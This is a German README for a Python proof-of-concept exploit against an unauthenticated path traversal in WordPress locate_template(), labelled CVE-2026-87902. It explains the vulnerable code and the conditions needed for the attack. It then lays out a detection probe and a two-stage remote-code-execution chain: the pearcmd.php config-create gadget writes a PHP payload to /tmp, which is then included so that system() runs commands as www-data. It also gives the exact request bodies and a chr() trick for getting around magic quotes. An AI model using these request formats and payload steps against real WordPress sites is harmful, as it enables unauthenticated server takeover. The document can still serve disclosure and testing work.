
Python-PoC, das CVE-2026-87902 ausnutzt, einen unauthentifizierten Path Traversal in WordPress locate_template(), der zu LFI und PEAR-basierter RCE führt, mit sicherem Erkennungsmodus.
Exploit-Datei: exploit_locate_template_rce.py —
Python 3.6+ (nur stdlib).
Pipeline in einem einzigen Befehl: sichere Erkennung (LFI-Differential, ohne Schreiben) →,
falls verwundbar, RCE über das Gadget pearcmd.php, das den Befehl Ihrer Wahl ausführt
(--command/-c). Verwenden Sie --validate-only, um vor der Schreibphase zu stoppen.
Testet CVE-2026-87902 in WordPress-Versionen
ohne den Fix des Commits 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, Backports bis 4.7.37).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| Betroffen | WordPress 4.7.0 – 7.1.1 (alle Branches) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix-Commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (Merge des Changesets 63792) |
| Dateien | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| Authentifizierung | Keine — kein Benutzer, Cookie, Nonce oder Plugin |
| Credits | Entdeckung und Disclosure: Robert Ressl |
⚠️ Nur für autorisierte Tests. Verwenden Sie es in Umgebungen, die Sie kontrollieren (das folgende Lab ist isoliert) oder mit ausdrücklicher Genehmigung des Eigentümers.
In Versionen ohne den Fix stellt die Verkettung get_page_template() → locate_template() →
template-loader niemals sicher, dass das ausgewählte Template innerhalb des Themes bleibt.
Vor dem Fix (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Nach dem Fix (Commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename und page_id sind öffentliche Query-Vars — akzeptiert im Body eines anonymen POST.
Die POST-Methode lässt redirect_canonical() (canonical.php) früh zurückkehren — es wirkt nur
bei GET/HEAD, also wird nichts umgeleitet.templates%252f%252e%252e%252f...) und übersteht das
Sanitizing: WP_Query::get_posts() (Z.2191) schreibt den pagename mit
sanitize_title_for_query( wp_basename( ... ) ) um — wp_basename() bricht nicht bei %2F
(formatting.php Z.5768) und das Sanitizing bewahrt %XX-Oktette (Z.2395).page_id (Z.2252) überschreibt das WHERE ("$where =", nicht ".=") — die echte Seite
wird geladen, kein 404, und der bösartige pagename bleibt im Query-Objekt.get_page_template() führt ein spätes urldecode() aus und baut page-<traversal>.php
ohne validate_file().locate_template() ruft vor dem Patch nur file_exists() auf → der Include entkommt aus dem Theme.| # | Voraussetzung | Grund |
|---|---|---|
| 1 | Veröffentlichte Seite, anonym zugänglich, über page_id auswählbar und ohne custom template | Die Anfrage muss zu einer Page aufgelöst werden; ein custom template käme früher in der Hierarchie |
| 2 | Top-Level-Verzeichnis im aktiven Theme (Child oder Parent), das mit page- beginnt (z. B. page-templates/) | WP stellt das feste Präfix page- voran; darüber gelangt der Traversal hinein. Es genügt, dass es existiert und traversierbar ist (kann leer sein). Vorhanden in Twenty Twelve/Fourteen, Neve, Hestia, Sydney |
| 3 | Lokales .php-Ziel existiert und ist lesbar | Der Loader hängt .php an und prüft is_file()/is_readable() |
| 4 | (nur für RCE) pearcmd.php lesbar + register_argc_argv=On + beschreibbares Verzeichnis (z. B. /tmp) | PEAR→RCE-Route: config-create schreibt die PHP-Payload auf den Server |
Drei anonyme POSTs gegen die veröffentlichte Seite — ohne Schreiben auf die Festplatte:
| Anfrage | pagename | Erwartete Antwort (verwundbar) |
|---|---|---|
| A — Baseline | — | 200, normaler Body (~23 KB) |
| B — Kontrolle | Traversal → nicht existierende Datei | 200, normaler Body (Fallback page.php) |
| C — Probe | Traversal → wp-content/index.php ("Silence is golden") | 200 mit leerem Body |
Signatur: C leer + A/B normal ⇒ der Include ist aus dem Theme entkommen ⇒ VERWUNDBAR.
Die Erkennung durchsucht automatisch: Kandidaten-Theme-Verzeichnisse
(page-templates, page-template) × Tiefen 1–12.
Das Ergebnis (theme-dir + depth) speist die RCE-Stufe.
Mit --validate-only stoppt das Skript hier (Exit 0, falls verwundbar).
pearcmd.php (Schreiben)Stufe 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ der Traversal inkludiert /usr/local/lib/php/pearcmd.php
→ argv kommt aus dem rohen Query-String (register_argc_argv=On)
→ config-create SCHREIBT die Payload nach /tmp/wp-pear-rce.php (12 serialisierte Kopien)
Stufe 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ derselbe Traversal inkludiert die erzeugte Datei → system(<--command>) läuft als www-data
Formatdetails (alle Einschränkungen werden vom Skript behandelt):
page_id + pagename; der Query-String trägt
ausschließlich das argv von PEAR (?+config-create+<root>+<out>).wp_magic_quotes() (load.php Z.1290) wendet
add_magic_quotes($_SERVER) an und pearcmd liest das argv aus $_SERVER['argv'] — jedes
Anführungszeichen würde zu \' werden und die erzeugte Datei beschädigen. Jeder PHP-String wird zu
chr()-Verkettung: '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): Die rohen Bytes +, <, > des Query-Strings
sind das argv — nichts darf auf dem Weg neu geschrieben/neu kodiert werden.config-create erfordert einen absoluten Root-Pfad — die Payload wird als der Root selbst
injiziert (/<php>), präfixiert mit dem Marker ___WP_RCE_OK___, der die Ausgabe abgrenzt.pearcmd.php (offizielles Docker, Debian/Ubuntu, XAMPP) — bei Bedarf mit
--pear-path/--output anpassen.Es gibt keinen "Upload": Das Ziel der Erkennung ist eine Datei, die jedes WordPress von Werk aus
mitbringt (wp-content/index.php); die RCE-Payload wird vom Server selbst über das
PEAR-Gadget geschrieben, das als www-data läuft.
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only